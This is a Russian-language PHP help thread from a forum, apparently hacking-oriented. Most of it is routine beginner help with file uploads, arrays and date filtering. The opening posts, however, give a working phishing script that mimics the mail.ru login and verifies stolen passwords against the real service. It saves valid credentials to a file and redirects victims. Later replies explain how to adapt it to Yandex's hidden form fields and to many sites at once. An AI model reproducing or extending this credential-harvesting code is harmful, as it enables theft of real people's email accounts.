[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    m0Hze
    Вот тебе навоял пример для mail.ru. Работает, проверял)

    PHP:
    <?php

    if(isset($_POST['submit'])){ // Если данные отправились

        
    $mail $_POST['mail'];
        
    $zone $_POST['zone'];
        
    $pass $_POST['pass'];

        
    $post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;

        
    $cl curl_init('http://win.mail.ru/cgi-bin/auth');
        
    curl_setopt($clCURLOPT_RETURNTRANSFER1);
        
    curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
        
    curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
        
    curl_setopt($clCURLOPT_HEADER1);
        
    curl_setopt($clCURLOPT_POST1);
        
    curl_setopt($clCURLOPT_POSTFIELDS$post);
        
    $exec curl_exec($cl);
        
    curl_close($cl);

        if(
    stripos($exec'Неверное имя пользователя или пароль')){

            echo 
    'Неверные данные';

        }else{

            
    /* Запись в файл */
            
    $open fopen('result.txt''r+t');
            
    fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
            
    fclose($open);

            
    /* Переадресация куда-то */
            
    header('location: http://kuda-to.ru');
            die();
        }

    }else{

        
    ?>
        <form action="" method="post">
            <input name="mail" type="text" /><br/>
            <select size="1" name="zone">
                <option value="mail.ru">mail.ru</option>
                <option value="bk.ru">bk.ru</option>
                <option value="inbox.ru">inbox.ru</option>
                <option value="list.ru">list.ru</option>
            </select><br/>
        <input name="pass" type="password" />
        <input type="submit" value="Войти" name="submit" />
        </form>

        <?php

    }

    ?>
    Ну а всякие там проверки и т.д. сделаешь сам)
     
  2. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    Вот тебе для яндекса...)
     
    1 person likes this.
  3. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    Да, должно работать
    поменять еще
     
  4. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Если там ssl, то предётся немного переделать.
    И как ты говоришь "тупо убрать зону" тоже врядли прокатит. Снифай заголовки отправляемые и полученные от сервера, смотри какие данные передаются и т.д.

    мдэ, думаю тебе ещё книжки надо почитать)
    PHP:
    stripos($exec'Неверное имя пользователя или пароль')
    Это проверка в полученном коде правильности вводимых данных.

    если хочешь показывать страницу error.php то впиши что-то типа.
    PHP:
    echo file_get_contents('error.php');

    p.s. пиздец даже спасибо не сказал =\
     
    #6724 .:EnoT:., 14 Dec 2008
    Last edited: 14 Dec 2008
    1 person likes this.
  5. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
    И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...
     
    #6725 ss88, 15 Dec 2008
    Last edited: 15 Dec 2008
    1 person likes this.
  6. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    мдааа, при чём тут плюсики?
    есть просто такое слово "Спасибо".
    тебе тут вообще никто ничем не обязан помогать и что-то обьяснять, тебя могли бы просто проигнорить или обозвать ламером и послать на, но тебе выкладывают код, обьясняют что и как, исправляют.....ппц слов нет =\

    ss88
    зря, ему не поможет :)
     
    1 person likes this.
  7. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Мы не злые, мы в меру добрые!

    а на моему работает 8)

    У тебя версия PHP ниже 5-й. В твоём случае замени stripos() на stristr()

    Странно даже как-то. Я обычно все скрипты с ошибками пишу ))
     
  8. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Давно такого не видел, "хостинг тупой"...это ж надо, какой тупой хостинг...
    Просто эта функция характерна для РНР 5, судя по всему, у тебя 4
     
  9. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Мдя... зачем??? Тебе так не нравится??? ))) Ты бы это до ума довел
    + добавь поддержку такого себе списка профилей (храни в файле или в БД), ведь, по сути, работа с разными сайтами здесь заключается в изменении нескольких всего параметров, а именно:
    PHP:
    //1. специфические для сайтов имена инпутов
    $post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
    //2. путь к авторизации
    $cl curl_init('http://win.mail.ru/cgi-bin/auth');
    //3. Referer
    curl_setopt($clCURLOPT_REFERER'http://mail.ru/'); 
    //4. Проверять характерные для разных сайтов сообщения об ошибках
    $errorPageText=file_get_contents('error.php');  
     
    В итоге, в случае работы с большим кол-вом сайтов, можно будет получить некоторую гибкость малой кровью
     
    #6729 ss88, 15 Dec 2008
    Last edited: 15 Dec 2008
  10. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    и про Яндекс, я, кажется, понял, почему у тебя ничего не выходит, это не из-за http или https.
    Просто там в форме присутствует скрытое поле
    PHP:
    <input type="hidden" name="idkey" value "3361229293991TPx0L3xKE">
    Это какой-то динамический id... Но, по-моему, выйти из этой ситуации можно так:
    PHP:
    $preAuth=file_get_contents('http://passport.yandex.ru/passport');
    //$idKey=выдираем из кода страницы значение поля
    //а когда уже передаем Логин/Пароль, то нужно в POST засунуть и этот id
    +там еще есть скрытое поле timestamp, вполне возможно, что они проверяют его наличие в POST-запросе
     
    #6730 ss88, 15 Dec 2008
    Last edited: 15 Dec 2008
  11. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Почему фото не выводится,,,,,,,,,,,,????? :confused:

    форма(index.php):

    PHP:
    <form enctype="multipart/form-data" method="POST" action="load.php"

    <
    b>Фото:</b><br /> 
    <
    input type="file" name="myfile" style="width:304px; height:18px" id="myfile" /> 

    <
    br /><br /> 
    <
    input style="height: 35px;" type="submit" value="Добавить фото" name="submit"

    </
    form>
    Оброботчик(load.php):

    PHP:
    <?php 

    // Подключаемься к базе данных 

    include ("db.php"); 

    //================Настройки============= // 
    $maxwidth "300px"// максимальная ширина картинок на превью 
    $fotos_dir "fotos/"// Директория для фотографий товаров 
    $foto_name $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем 
    $foto_light_name time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь 
    $foto_tag "<img src=\"$foto_name\" border=\"0\">"// Готовый тэг для вставки картинки на страницу 
    $foto_tag_preview "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"// Тот же тэг, но для превью 

    // Текст ошибок 
    $error_by_mysql "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>"
    $error_by_file "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>"



    // Начало 
    if(isset($_FILES["myfile"])) 

    $myfile $_FILES["myfile"]["tmp_name"]; 
    $myfile_name $_FILES["myfile"]["name"]; 
    $myfile_size $_FILES["myfile"]["size"]; 
    $myfile_type $_FILES["myfile"]["type"]; 
    $error_flag $_FILES["myfile"]["error"]; 

    // Если ошибок не было 
    if($error_flag == 0

             
         
    $DOCUMENT_ROOT $_SERVER['DOCMENT_ROOT']; 
    $upfile getcwd()."\\fotos\\" time()."_".basename($_FILES["myfile"]["name"]); 
    if (
    $_FILES['myfile']['tmp_name']) 


       
    //Если не удалось загрузить файл 

    if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))  

    echo 
    "$error_by_file"
    exit; 



    else 

        echo 
    'Проблема: возможна атака через загрузку файла. '
        echo 
    $_FILES['myfile']['name']; 
        exit; 



    // Заносим путь картинки в базу данных 
    $q "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')"
    $query mysql_query($q); 

    // вывод привью

    $result mysql_query("SELECT * FROM foto WHERE name='$foto_light_name'",$db);

    if (!
    $result)
    {
    echo 
    "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору [email protected]. <br> <strong>Код ошибки:</strong></p>";
    exit(
    mysql_error());
    }

    if (
    mysql_num_rows($result) > 0)

    {
    $myrow mysql_fetch_array($result);

    printf ("<img scr='".$myrow['url']."'>");

    }

    else
    {
    echo 
    "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
    exit();
    }



    // Данные успешно внесены в базу данных, выводим сообщение 
    if ($query == 'true') { 
    echo 
    "<br /><b>Данные успешно внесены в базу</b>"


    // В противном случае, выводим ошибку при добавлении в базу данных 
    else { 
    echo 
    "$error_by_mysql"



            } 
      
     elseif (
    $myfile_size == 0) { 
     echo 
    "Пустая форма!"
     }  
         



    ?>
     
  12. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Хм... странно, что РНР не ругался на то, что у тебя в mysql_query при выполнении запроса вставки не указан хэндл соединения с базой данных )))
    PHP:
    $q "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";  
    $query mysql_query($q,/*ты забыл вставить дескриптор соединения*/);
    Есть масса замечаний
    1. Зачем ты пишешь в путях обратный слэш??? В винде прямой тоже отлично работает Ну это так, вопросы совместимости.
    2. Зачем ты выбираешь только что занесенную запись, если вся инфа у тебя и так есть в переменных???
    Так можно долго продолжать, а так... будь внимательнее и не пиши себе проблем )))
     
  13. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    все нормально, в описании mysql_query явно указано, что идентификатор ресурса указывать не обязательно
     
  14. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Вот, почистил некоторый логический мусор, вот так все работает, а ошибка была банальнейшей, в тэге img, указан источник как атрибут не src, а scr и других очепяток в коде хватало )))
    PHP:
    <?php
    // Подключаемься к базе данных  
    include ("db.php");
    //================Настройки============= // 
    // максимальная ширина картинок на превью   
    $maxwidth "300px";
    // Директория для фотографий товаров 
    $fotos_dir "fotos/";
    // Полное имя файла вместе с путем
    $foto_name $fotos_dir time() . "_" basename($_FILES['myfile']['name']);
    // Имя файла исключая путь   
    $foto_light_name time() . "_" basename($_FILES['myfile']['name']);
    // Готовый тэг для вставки картинки на страницу  
    $foto_tag "<img src=\"$foto_name\" border=\"0\">";
    // Тот же тэг, но для превью
    $foto_tag_preview "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">";
    // Текст ошибок  
    $error_by_mysql "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
    $error_by_file "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";
    // Начало  
    if (isset($_FILES["myfile"])) {
        
    $myfile $_FILES["myfile"]["tmp_name"];
        
    $myfile_size $_FILES["myfile"]["size"];
        
    // Если ошибок не было  
        
    if ($_FILES["myfile"]["error"] == 0) {
            
    $upfile getcwd() . "/fotos/" time() . "_" basename($_FILES["myfile"]["name"]);
            if (
    $_FILES['myfile']['tmp_name']) {
                
    //Если не удалось загрузить файл  
                
    if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile)) {
                    echo 
    $error_by_file;
                    exit();
                }
            } else {
                echo 
    'Проблема: возможна атака через загрузку файла. '//странный способ ))
                
    echo $_FILES['myfile']['name'];
                exit();
            }
            
    // Заносим путь картинки в базу данных  
            
    $q "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
            
    $query mysql_query($q$db);
            
            if (
    $query) {
                
    printf("<img src='{$foto_name}'/>");
                echo 
    "<br /><b>Данные успешно внесены в базу</b>";
            } else {
                echo 
    "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
                exit(
    mysql_error());
            }
        } elseif (
    $myfile_size == 0) {
            echo 
    "Пустая форма!";
        }
    }
    ?>
    Все работает
     
  15. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    PHP:
    <?php

    $arr 
    = array(
               
    "Nort America"=>array("USA"=>array("Capital"=>"    
    Washington"
    )),
                
    "Europa"=> array("France"=>array("Capital"=>"Paris")),
                
    "Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) );
                
                foreach (
    $arr as $k => $v)
                {
                    echo 
    $k ."\n" ;
                    foreach(
    $v as $arr  => $k)
                    {
                        echo 
    $arr ."  "."<br/>\n";
                        
    /* что надо подставить    3 цыкл ? */

                        
    foreach ($v as $arr)
                        {
                            echo 
    $arr ."\n";
                        }
                    }  
                }
               
    ?>


    Помогите вывести название столиц...
     
    #6735 DTW, 15 Dec 2008
    Last edited: 15 Dec 2008
  16. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    PHP:
    $arr = array("Nort America"=>array("USA"=>array("Capital"=>"Washington")),
                
    "Europa"=> array("France"=>array("Capital"=>"Paris")),
                
    "Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) );

    foreach(
    $arr as $part => $country) {

        foreach(
    $country as $name => $land){

            foreach(
    $land as $capital){

                echo 
    'Часть света: '.$part.' => Страна: '.$name.' => Столица: '.$capital.'<br/>';
            }
        }
    }
     
  17. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    А вот так, вроде, намного лучше, при той же функциональности:
    PHP:
    <?php
    // Подключаемься к базе данных  
    include ("db.php");
    //================Настройки============= // 
    // максимальная ширина картинок на превью   
    $maxwidth "300px";
    // Директория для фотографий товаров 
    $fotos_dir "fotos/";
    // Полное имя файла вместе с путем
    $foto_name $fotos_dir time() . "_" $_FILES['myfile']['name'];
    // Готовый тэг для вставки картинки на страницу  
    $foto_tag "<img src='{$foto_name}' border='0'>";
    // Тот же тэг, но для превью
    $foto_tag_preview "<img src='{$foto_name}' border='0' width='{$maxwidth}'>";
    // Текст ошибок  
    $error_by_mysql "<span style='font: bold 15px tahoma; color: red'>Ошибка при добавлении данных в базу</span>";
    $error_by_file "<span style='font: bold 15px tahoma; color: red'>Невозможно загрузить файл в директорию. Возможно её не существует</span>";
    // Начало  
    if (isset($_FILES["myfile"])) {
        
    // Если ошибок не было  
        
    if (($_FILES["myfile"]["error"] == 0) && (in_array(strtolower(substr($_FILES['myfile']['name'], - 4)), array(".jpg" ".gif" ".png")))) {
            
    $upfile getcwd() . "/fotos/" time() . "_" basename($_FILES["myfile"]["name"]);
            if (
    $_FILES['myfile']['tmp_name']){
                
    //Если не удалось загрузить файл  
                
    if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
                    exit(
    $error_by_file);
            }
            else
                exit (
    "Проблема: возможна атака через загрузку файла хотя проверяется это не так, а, наверное, просто нам подсовывают файл не с тем расширением {$_FILES ['myfile'] ['name']}");
            
    // Заносим путь картинки в базу данных  
            
    $query mysql_query("INSERT INTO foto (url,name) VALUES ('{$foto_name}','{$fotos_dir}{$foto_name}')"$db);
            if (
    $query)
                echo 
    "{$foto_tag}Ъ<br /><b>Данные успешно внесены в базу</b>";
            else
                exit(
    "<p>Ошибка сохранения данных.</p>" mysql_error());
        } else 
    //Если возникла ошибка при передаче или левое расширение файла
            
    exit("Ошибка обработки данных либо вы пытаетесь подсунуть нам свинью");
    }
    ?>
     
    #6737 ss88, 15 Dec 2008
    Last edited: 15 Dec 2008
  18. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    БД...я написал,но сомниваюсь в его надёжности...
     
  19. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Не думал, что возникнут трудности при решении такой банальной задачи
    Какой-то ступор седня :)
    Нужно отфильтровать пользователей по возрасту

    Например, есть поле "От" и "До"
    И есть массив с датами рождений, например 06.08.1985, 31.12.1985 и т.д.

    Нужно выбрать всех пользователей входящих в условия - от и до, причем не только по годам( но и по месяцам и дням, т.е. др у пользователя-6 августа, знач 5 числа, он не входит, а 6 уже входит в групу)

    А проблема возникла в следующем
    Замечание: Для большинства систем допустимыми являются даты с 13 декабря 1901, 20:45:54 GMT по 19 января 2038, 03:14:07 GMT.
    После 38 года, они обнулятся

    Но мне нужен расчет и в дальнейшем

    Вообщем прошу Вашей помощи! ( не нагуглил:) )
     
  20. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    не понял сути проблемы, ты рассчитываешь свою систему "на века"? )))) Или как? Поясни немного, а то, наверное, и у меня ступор седня ))
     
Thread Status:
Not open for further replies.